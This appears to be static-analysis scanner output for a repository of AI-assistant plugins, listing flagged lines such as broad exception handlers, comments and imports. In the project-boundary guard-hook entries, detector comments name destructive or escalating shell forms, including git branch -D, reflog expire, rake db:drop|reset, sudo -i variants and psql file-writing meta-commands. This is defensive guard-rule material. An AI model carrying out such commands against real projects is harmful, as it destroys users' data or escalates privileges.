| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 43 | def apply_paragraph_properties(paragraph, para_data: Dict[str, Any]): | CODE |
| 88 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | …l-skills/skills/voice-persona/scripts/voice_persona.py | 85 | except Exception: | CODE |
| HIGH | …l-skills/skills/voice-persona/scripts/voice_persona.py | 149 | except OSError: pass | CODE |
| HIGH | …l-skills/skills/voice-persona/scripts/voice_persona.py | 76 | except OSError: pass | CODE |
| HIGH | …l-skills/skills/voice-persona/scripts/voice_persona.py | 152 | except OSError: pass | CODE |
| HIGH | plugins/all-skills/skills/xlsx/recalc.py | 86 | except (FileNotFoundError, subprocess.TimeoutExpired): | CODE |
| HIGH | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 59 | except Exception: | CODE |
| HIGH | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 211 | except (subprocess.CalledProcessError, FileNotFoundError, Exception): | CODE |
| HIGH | plugins/all-skills/skills/pptx/scripts/rearrange.py | 124 | except Exception: | CODE |
| HIGH | plugins/all-skills/skills/pptx/scripts/inventory.py | 384 | except Exception: | CODE |
| HIGH | plugins/all-skills/skills/pptx/scripts/inventory.py | 504 | except Exception: | CODE |
| HIGH | plugins/all-skills/skills/pptx/scripts/inventory.py | 219 | except (AttributeError, TypeError): | CODE |
| HIGH | …lls/skills/browser-extension-launch/scripts/project.py | 503 | except (OSError, UnicodeError): | CODE |
| HIGH | …all-skills/skills/slack-gif-creator/core/validators.py | 158 | except EOFError: | CODE |
| HIGH | …skills/skills/slack-gif-creator/core/frame_composer.py | 310 | except: | CODE |
| HIGH | …ills/skills/docx/ooxml/scripts/validation/redlining.py | 59 | except Exception: | CODE |
| HIGH | …ills/skills/docx/ooxml/scripts/validation/redlining.py | 211 | except (subprocess.CalledProcessError, FileNotFoundError, Exception): | CODE |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 900 | except ValueError: | CODE |
| HIGH | plugins/all-skills/skills/docx/scripts/document.py | 85 | except ValueError: | CODE |
| HIGH | plugins/all-skills/skills/docx/scripts/utilities.py | 298 | except ValueError: | CODE |
| HIGH | …skills/hard-predict-future/scripts/report_formatter.py | 246 | except ImportError: | CODE |
| HIGH | …skills/hard-predict-future/scripts/report_formatter.py | 487 | except Exception: | CODE |
| HIGH | …ce/skills/hard-predict-future/scripts/signal_scorer.py | 513 | except (ImportError, Exception): | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | plugins/project-boundary/hooks/lib/options.sh | 4 | # Two orchestration helpers kept together because they wrap the | COMMENT |
| MEDIUM | plugins/all-hooks/hooks/no-vibes.md | 108 | This hook is the minimal reference implementation of `evidence_claims` / `no-vibes`, the strongest empirically-validated | CODE |
| MEDIUM | …/commands-framework-svelte/commands/svelte-scaffold.md | 6 | # /svelte-scaffold | COMMENT |
| MEDIUM | plugins/nextjs-expert/README.md | 78 | ### /nextjs-expert:scaffold | COMMENT |
| MEDIUM | plugins/all-commands/commands/svelte-scaffold.md | 6 | # /svelte-scaffold | COMMENT |
| MEDIUM | plugins/all-commands/commands/remove.md | 257 | # .orchestration-audit.yaml | COMMENT |
| MEDIUM | plugins/claude-ops/skills/ops-orchestrate/SKILL.md | 282 | ### 2e. Tag orchestration mode (hybrid only) | COMMENT |
| MEDIUM | …gins/all-skills/skills/rag-evaluation-harness/SKILL.md | 7 | # RAG Evaluation Harness | COMMENT |
| MEDIUM | …te/skills/production-fast-api-template/API_SECURITY.md | 335 | ### 4.4 RAG access control | COMMENT |
| MEDIUM | …te/skills/production-fast-api-template/API_SECURITY.md | 616 | ## 9. RAG security | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 64 | ## 1. What guardrails are, and what they aren't | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 163 | # ⚪ Illustrative content for src/guardrails/schemas.py | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 229 | ## 5. The in-app guardrail layer (`src/guardrails/`) | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 234 | # ⚪ Illustrative content for src/guardrails/service.py | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 272 | # ⚪ Illustrative content for src/guardrails/config.py | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 364 | # ⚪ Illustrative content for src/providers/guardrails/guardrails_ai.py (library adoption is 🟡) | COMMENT |
| MEDIUM | …late/skills/production-fast-api-template/GUARDRAILS.md | 393 | - **Install validators as pinned PyPI packages** (for example `guardrails-ai-regex-match`) and import them from `guardra | CODE |
| MEDIUM | …e/skills/production-fast-api-template/AI_EVALUATION.md | 486 | ### 2.2 RAG metrics | COMMENT |
| MEDIUM | …e/skills/production-fast-api-template/AI_EVALUATION.md | 639 | ### 3.2 RAG metrics (collections, 0.4.3) | COMMENT |
| MEDIUM | …e/skills/production-fast-api-template/AI_EVALUATION.md | 754 | ## 4. RAG evaluation methodology | COMMENT |
| MEDIUM | …e/skills/production-fast-api-template/AI_EVALUATION.md | 835 | ### 4.8 Custom rubrics for RAG [CUSTOM] | COMMENT |
| MEDIUM | …skills/production-fast-api-template/ASYNC_EXECUTION.md | 229 | ## 4. Synchronous RAG execution | COMMENT |
| MEDIUM | …-template/skills/production-fast-api-template/SKILL.md | 70 | │ │ └── router.py # aggregates domain, RAG and agent routers | CODE |
| MEDIUM⚡ | …-template/skills/production-fast-api-template/SKILL.md | 99 | │ │ ├── schemas.py # RAG API schemas + cross-stage contracts (RetrievedEvidence) | CODE |
| MEDIUM⚡ | …-template/skills/production-fast-api-template/SKILL.md | 100 | │ │ ├── service.py # container/lifecycle of long-lived RAG services | CODE |
| MEDIUM⚡ | …-template/skills/production-fast-api-template/SKILL.md | 102 | │ │ ├── config.py # RAG settings (RAG_ prefix) | CODE |
| MEDIUM | …-template/skills/production-fast-api-template/SKILL.md | 193 | │ ├── llm/ # shared by RAG and agents | CODE |
| MEDIUM | …-template/skills/production-fast-api-template/SKILL.md | 208 | │ ├── guardrails/ # shared content-safety layer, used by RAG, agents and workers | CODE |
| MEDIUM | …-template/skills/production-fast-api-template/SKILL.md | 217 | │ ├── providers/ # external-service boundaries (MCP, vector DB, queues, Lambda, guardrails, …) | CODE |
| MEDIUM | …-template/skills/production-fast-api-template/SKILL.md | 376 | ## 4. RAG naming conventions 🟢 | COMMENT |
| MEDIUM | …lls/production-fast-api-template/PYDANTIC_STANDARDS.md | 557 | ### How it fits the async RAG pipeline | COMMENT |
| MEDIUM | …lls/production-fast-api-template/PYDANTIC_STANDARDS.md | 566 | ## 7. RAG structured outputs (illustrative schemas) | COMMENT |
| MEDIUM⚡ | …ce/skills/hard-predict-future/scripts/signal_scorer.py | 34 | # Maps common Claude hallucination variants → canonical values | COMMENT |
| MEDIUM | plugins/ag2-agent-builder/agents/ag2-prompt-engineer.md | 52 | ### 5. Orchestration Context (WHEN -- for multi-agent only) | COMMENT |
| MEDIUM | …ins/commands-workflow-orchestration/commands/remove.md | 257 | # .orchestration-audit.yaml | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …skills/skills/atlas-cloud-media/scripts/atlas_media.py | 324 | CODE | |
| LOW | plugins/all-skills/skills/xlsx/recalc.py | 53 | CODE | |
| LOW | …/all-skills/skills/pdf/scripts/fill_fillable_fields.py | 12 | CODE | |
| LOW | …/all-skills/skills/pdf/scripts/fill_fillable_fields.py | 59 | CODE | |
| LOW | …l-skills/skills/pdf/scripts/extract_form_field_info.py | 22 | CODE | |
| LOW | …l-skills/skills/pdf/scripts/extract_form_field_info.py | 62 | CODE | |
| LOW | …/all-skills/skills/pdf/scripts/check_bounding_boxes.py | 18 | CODE | |
| LOW | …l-skills/skills/skill-creator/scripts/package_skill.py | 19 | CODE | |
| LOW | …ios-hig-design-guide/scripts/sync_apple_hig_sources.py | 61 | CODE | |
| LOW | …ios-hig-design-guide/scripts/sync_apple_hig_sources.py | 79 | CODE | |
| LOW | plugins/all-skills/skills/pptx/ooxml/scripts/pack.py | 45 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 72 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 124 | CODE | |
| LOW | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 139 | CODE | |
| LOW | …ills/skills/pptx/ooxml/scripts/validation/redlining.py | 217 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 77 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 128 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 243 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 186 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 277 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 388 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 486 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 522 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 688 | CODE | |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 765 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 67 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/thumbnail.py | 321 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/rearrange.py | 149 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 140 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 280 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 362 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 480 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 143 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 162 | CODE | |
| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 214 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 197 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 294 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 388 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 591 | CODE | |
| LOW | …ecommerce-material-studio/scripts/delivery_packager.py | 131 | CODE | |
| LOW | …ecommerce-material-studio/scripts/delivery_packager.py | 292 | CODE | |
| LOW | …ecommerce-material-studio/scripts/delivery_packager.py | 512 | CODE | |
| LOW | …/ecommerce-material-studio/scripts/platform_adapter.py | 105 | CODE | |
| LOW | …/ecommerce-material-studio/scripts/platform_adapter.py | 335 | CODE | |
| LOW | …erce-material-studio/scripts/scene_aware_compositor.py | 1217 | CODE | |
| LOW | …ecommerce-material-studio/scripts/category_detector.py | 495 | CODE | |
| LOW | …ecommerce-material-studio/scripts/category_detector.py | 519 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/quality_check.py | 234 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/quality_check.py | 324 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/quality_check.py | 380 | CODE | |
| LOW | …ecommerce-material-studio/scripts/preference_memory.py | 133 | CODE | |
| LOW | …ecommerce-material-studio/scripts/preference_memory.py | 332 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 953 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 308 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 429 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 713 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 779 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 811 | CODE | |
| LOW | …ills/ecommerce-material-studio/scripts/brand_loader.py | 240 | CODE | |
| LOW | …ills/ecommerce-material-studio/scripts/brand_loader.py | 287 | CODE | |
| 58 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | plugins/project-boundary/hooks/guard.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 61 | # shellcheck source=lib/remote_dispatch.sh | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 101 | COMMENT | |
| LOW | plugins/project-boundary/hooks/guard.sh | 121 | # never legitimate POSIX paths, so the fail-closed branch is the | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 161 | # in-project-looking path that passes is_inside_project. | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 401 | # `-u root` would mis-identify the verb in the subcmd-flag scan. | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 421 | # catches clustered (`sudo -ni`, `-in`, `-nis`), quoted (`sudo "-i"`), | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 441 | # blank_quoted_heredoc_bodies is computed from this raw copy. | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 461 | # (e.g. by stripping the ssh wrapper). Codex round-5 finding #3. | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 481 | # CMD_EXPAND_SCAN — the alias-escape pass that strips `\` before a | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 521 | block_interpreter_inline_code | COMMENT |
| LOW | plugins/project-boundary/hooks/guard.sh | 541 | CMD=$(rewrite_remote_dispatch "$CMD") | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/git_walkers.sh | 1 | # shellcheck shell=bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/wrapper_opts.sh | 1 | # shellcheck shell=bash | COMMENT |
| LOW | …ns/project-boundary/hooks/lib/cd_destructive_walker.sh | 1 | # shellcheck shell=bash | COMMENT |
| LOW | …ns/project-boundary/hooks/lib/cd_destructive_walker.sh | 21 | # branch -D / reflog expire) plus rails/rake db:drop|reset. | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 21 | # police those. | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 41 | # because the `-v src:dst` / `--volume` / `--mount type=bind,…` | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 81 | COMMENT | |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 221 | # Flags are dropped (they cannot be local file targets in any of the | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 241 | # flags relevant to the path-walker bypass (`-a/--archive`, | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/remote_dispatch.sh | 261 | # and must not false-positive). A local DESTINATION is preserved | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 61 | # --- Strip /bin/, /sbin/, /usr/bin/, /usr/sbin/, /usr/local/bin/, --- | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 81 | # /bin/env / /usr/bin/env) advance one position; the next iteration | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 221 | fi | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 361 | # to inspect. Recognised shapes: | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/command_name.sh | 461 | -[A-Za-z]*) | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 1 | # shellcheck shell=bash | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 21 | # Uses tokenize-with-redirects + heredoc-blanked parallel | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 41 | # the post-wrapper name), or a remote-dispatch verb where the | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 81 | # `trap CMD SIG` registers CMD as a shell handler that fires on the | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 121 | && [ "$trap_first_pos_set" -eq 1 ] \ | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 141 | # walkers without a verb gate false-positive on text-as-arg cases | COMMENT |
| LOW | …ugins/project-boundary/hooks/lib/shell_exec_walkers.sh | 221 | } | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/tokenize.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/options.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/options.sh | 21 | # bodies are blanked first via | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/options.sh | 81 | fi | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/options.sh | 141 | } | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/subcmd_flags.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/subcmd_flags.sh | 21 | # diff.external / mergetool.<tool>.cmd | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/subcmd_flags.sh | 41 | # split_and_check has split the chained command line on `;` / `&&` | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 61 | # leave the caller inside the allowlisted dir. | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 141 | # resolve to the actual home, but the result is NEVER inside | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 221 | # | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 261 | return 0 | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 281 | # on. Callers that KNOW they are writing a target (redirect | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/paths.sh | 301 | # /proc/self (symlink to /proc/<pid>) canonicalises both to the | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/heredoc.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/heredoc.sh | 21 | # $(...) in such a body are therefore literal bytes written to stdin, | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/heredoc.sh | 161 | qi=$((qi+1)) | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/expansion_blocks.sh | 1 | # shellcheck shell=bash | COMMENT |
| LOW | …gins/project-boundary/hooks/lib/detectors/redirects.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …gins/project-boundary/hooks/lib/detectors/redirects.sh | 61 | fi | COMMENT |
| LOW | …gins/project-boundary/hooks/lib/detectors/redirects.sh | 141 | COMMENT | |
| LOW | plugins/project-boundary/hooks/lib/detectors/db_dump.sh | 1 | #!/bin/bash | COMMENT |
| LOW | plugins/project-boundary/hooks/lib/detectors/db_dump.sh | 61 | # meta-commands (\o, \g, \gx, \w, \s, \copy, \!) that write | COMMENT |
| 32 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | plugins/project-boundary/hooks/guard.sh | 325 | # Check if the effective working directory is outside the project | COMMENT |
| LOW | …ns/project-boundary/hooks/lib/detectors/destructive.sh | 20 | # Check if xargs is followed by a dangerous command | COMMENT |
| LOW | plugins/all-skills/skills/xlsx/recalc.py | 82 | # Check if gtimeout is available on macOS | COMMENT |
| LOW | …/all-skills/skills/skill-creator/scripts/init_skill.py | 208 | # Check if directory already exists | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 90 | # Check if text starts or ends with whitespace | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/docx.py | 92 | # Check if xml:space="preserve" attribute exists | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 94 | # Check if this is an ID attribute | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 97 | # Check if value looks like a UUID (has the right length and pattern structure) | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/pptx.py | 125 | # Check if it's 32 hex-like characters (could include invalid hex chars) | COMMENT |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 449 | # Check if the ID exists | COMMENT |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 456 | # Check if we have type expectations for this element | COMMENT |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 463 | # Check if the actual type matches or contains the expected type | COMMENT |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 759 | # Check if file is in a main content folder and use appropriate schema | COMMENT |
| LOW⚡ | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 776 | # Check if attribute is from a namespace other than allowed ones | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 212 | # Check if this element type has ID uniqueness requirements | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 503 | # Check if this might be a compound like "sldMasterId" | COMMENT |
| LOW | …ll-skills/skills/pptx/ooxml/scripts/validation/base.py | 619 | # Check if it's a known media extension that should be declared | COMMENT |
| LOW | plugins/all-skills/skills/pptx/scripts/inventory.py | 873 | # Check if there's meaningful overlap (more than tolerance) | COMMENT |
| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 173 | # Check if slide exists | COMMENT |
| LOW | plugins/all-skills/skills/pptx/scripts/replace.py | 306 | # Check if any text overflow got worse | COMMENT |
| LOW | …all-skills/skills/slack-gif-creator/core/validators.py | 103 | # Check if roughly square (within 2:1 ratio) | COMMENT |
| LOW⚡ | …ills/skills/artifacts-builder/scripts/init-artifact.sh | 33 | # Check if pnpm is installed | COMMENT |
| LOW⚡ | …ills/skills/artifacts-builder/scripts/init-artifact.sh | 39 | # Check if project name is provided | COMMENT |
| LOW⚡ | …ills/skills/artifacts-builder/scripts/init-artifact.sh | 49 | # Check if components tarball exists | COMMENT |
| LOW | …ls/skills/artifacts-builder/scripts/bundle-artifact.sh | 6 | # Check if we're in a project directory | COMMENT |
| LOW | …ls/skills/artifacts-builder/scripts/bundle-artifact.sh | 12 | # Check if index.html exists | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/docx.py | 90 | # Check if text starts or ends with whitespace | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/docx.py | 92 | # Check if xml:space="preserve" attribute exists | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/pptx.py | 94 | # Check if this is an ID attribute | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/pptx.py | 97 | # Check if value looks like a UUID (has the right length and pattern structure) | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/pptx.py | 125 | # Check if it's 32 hex-like characters (could include invalid hex chars) | COMMENT |
| LOW⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 449 | # Check if the ID exists | COMMENT |
| LOW⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 456 | # Check if we have type expectations for this element | COMMENT |
| LOW⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 463 | # Check if the actual type matches or contains the expected type | COMMENT |
| LOW⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 759 | # Check if file is in a main content folder and use appropriate schema | COMMENT |
| LOW⚡ | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 776 | # Check if attribute is from a namespace other than allowed ones | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 212 | # Check if this element type has ID uniqueness requirements | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 503 | # Check if this might be a compound like "sldMasterId" | COMMENT |
| LOW | …ll-skills/skills/docx/ooxml/scripts/validation/base.py | 619 | # Check if it's a known media extension that should be declared | COMMENT |
| LOW | plugins/all-skills/skills/docx/scripts/document.py | 539 | # Check if it's a numbered list item | COMMENT |
| LOW | plugins/all-skills/skills/docx/scripts/document.py | 1055 | # Check if this rsid already exists | COMMENT |
| LOW | plugins/all-skills/skills/docx/scripts/document.py | 1192 | # Check if author already exists | COMMENT |
| LOW | .github/workflows/validate-subagents.yml | 50 | # Check if any agent files have mismatched names | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | plugins/tlsradar/scripts/dns_provider.py | 43 | CODE | |
| LOW | …s/skills/project-milestone-tracker/scripts/pm_track.py | 17 | CODE | |
| LOW | …l-skills/skills/voice-persona/scripts/voice_persona.py | 22 | CODE | |
| LOW | …l-skills/skills/voice-persona/scripts/voice_persona.py | 22 | CODE | |
| LOW | …ugins/all-skills/skills/x-research/scripts/x_client.py | 4 | CODE | |
| LOW | …ugins/all-skills/skills/x-research/scripts/x_client.py | 10 | CODE | |
| LOW | …skills/skills/atlas-cloud-media/scripts/atlas_media.py | 4 | CODE | |
| LOW | …s/all-skills/skills/muapi-media/scripts/muapi_media.py | 4 | CODE | |
| LOW | …-skills/skills/skill-creator/scripts/quick_validate.py | 7 | CODE | |
| LOW | …ios-hig-design-guide/scripts/sync_apple_hig_sources.py | 4 | CODE | |
| LOW | …kills/skills/pptx/ooxml/scripts/validation/__init__.py | 5 | CODE | |
| LOW | …kills/skills/pptx/ooxml/scripts/validation/__init__.py | 6 | CODE | |
| LOW | …kills/skills/pptx/ooxml/scripts/validation/__init__.py | 7 | CODE | |
| LOW | …kills/skills/pptx/ooxml/scripts/validation/__init__.py | 8 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 68 | CODE | |
| LOW | …s/ecommerce-material-studio/scripts/batch_processor.py | 68 | CODE | |
| LOW | …ecommerce-material-studio/scripts/delivery_packager.py | 36 | CODE | |
| LOW | …/ecommerce-material-studio/scripts/platform_adapter.py | 27 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/style_matcher.py | 26 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/style_matcher.py | 27 | CODE | |
| LOW | …ecommerce-material-studio/scripts/category_detector.py | 26 | CODE | |
| LOW | …ecommerce-material-studio/scripts/category_detector.py | 30 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/quality_check.py | 32 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/quality_check.py | 35 | CODE | |
| LOW | …ecommerce-material-studio/scripts/preference_memory.py | 37 | CODE | |
| LOW | …ecommerce-material-studio/scripts/preference_memory.py | 42 | CODE | |
| LOW | …ecommerce-material-studio/scripts/preference_memory.py | 42 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 20 | CODE | |
| LOW | …lls/ecommerce-material-studio/scripts/layout_engine.py | 31 | CODE | |
| LOW | …ills/ecommerce-material-studio/scripts/brand_loader.py | 25 | CODE | |
| LOW | …kills/ecommerce-material-studio/scripts/text_engine.py | 42 | CODE | |
| LOW | …kills/ecommerce-material-studio/scripts/text_engine.py | 43 | CODE | |
| LOW | …kills/ecommerce-material-studio/scripts/text_engine.py | 46 | CODE | |
| LOW | …kills/ecommerce-material-studio/scripts/text_engine.py | 48 | CODE | |
| LOW | …lls/browser-extension-launch/scripts/release_bundle.py | 9 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/core/typography.py | 10 | CODE | |
| LOW | …ll-skills/skills/slack-gif-creator/core/gif_builder.py | 10 | CODE | |
| LOW | …skills/skills/slack-gif-creator/core/color_palettes.py | 9 | CODE | |
| LOW | …ll-skills/skills/slack-gif-creator/templates/wiggle.py | 17 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/spin.py | 16 | CODE | |
| LOW | …all-skills/skills/slack-gif-creator/templates/morph.py | 14 | CODE | |
| LOW | …ll-skills/skills/slack-gif-creator/templates/bounce.py | 16 | CODE | |
| LOW | …l-skills/skills/slack-gif-creator/templates/explode.py | 16 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/move.py | 212 | CODE | |
| LOW | …/all-skills/skills/slack-gif-creator/templates/fade.py | 13 | CODE | |
| LOW | plugins/all-skills/skills/doc-ocr/scripts/dococr.py | 23 | CODE | |
| LOW | plugins/all-skills/skills/video-to-text/scripts/vtt.py | 20 | CODE | |
| LOW | plugins/all-skills/skills/video-to-text/scripts/vtt.py | 20 | CODE | |
| LOW | …-skills/skills/gsc-seo-optimizer/scripts/import_gsc.py | 9 | CODE | |
| LOW | …kills/skills/docx/ooxml/scripts/validation/__init__.py | 5 | CODE | |
| LOW | …kills/skills/docx/ooxml/scripts/validation/__init__.py | 6 | CODE | |
| LOW | …kills/skills/docx/ooxml/scripts/validation/__init__.py | 7 | CODE | |
| LOW | …kills/skills/docx/ooxml/scripts/validation/__init__.py | 8 | CODE | |
| LOW | …-claude-eyes/skills/qwen-vision/scripts/qwen_bridge.py | 18 | CODE | |
| LOW | …kills/hard-predict-future/scripts/decision_guidance.py | 11 | CODE | |
| LOW | …kills/hard-predict-future/scripts/decision_guidance.py | 15 | CODE | |
| LOW | …skills/hard-predict-future/scripts/report_formatter.py | 21 | CODE | |
| LOW | …skills/hard-predict-future/scripts/report_formatter.py | 29 | CODE | |
| LOW | …ce/skills/hard-predict-future/scripts/signal_scorer.py | 14 | CODE | |
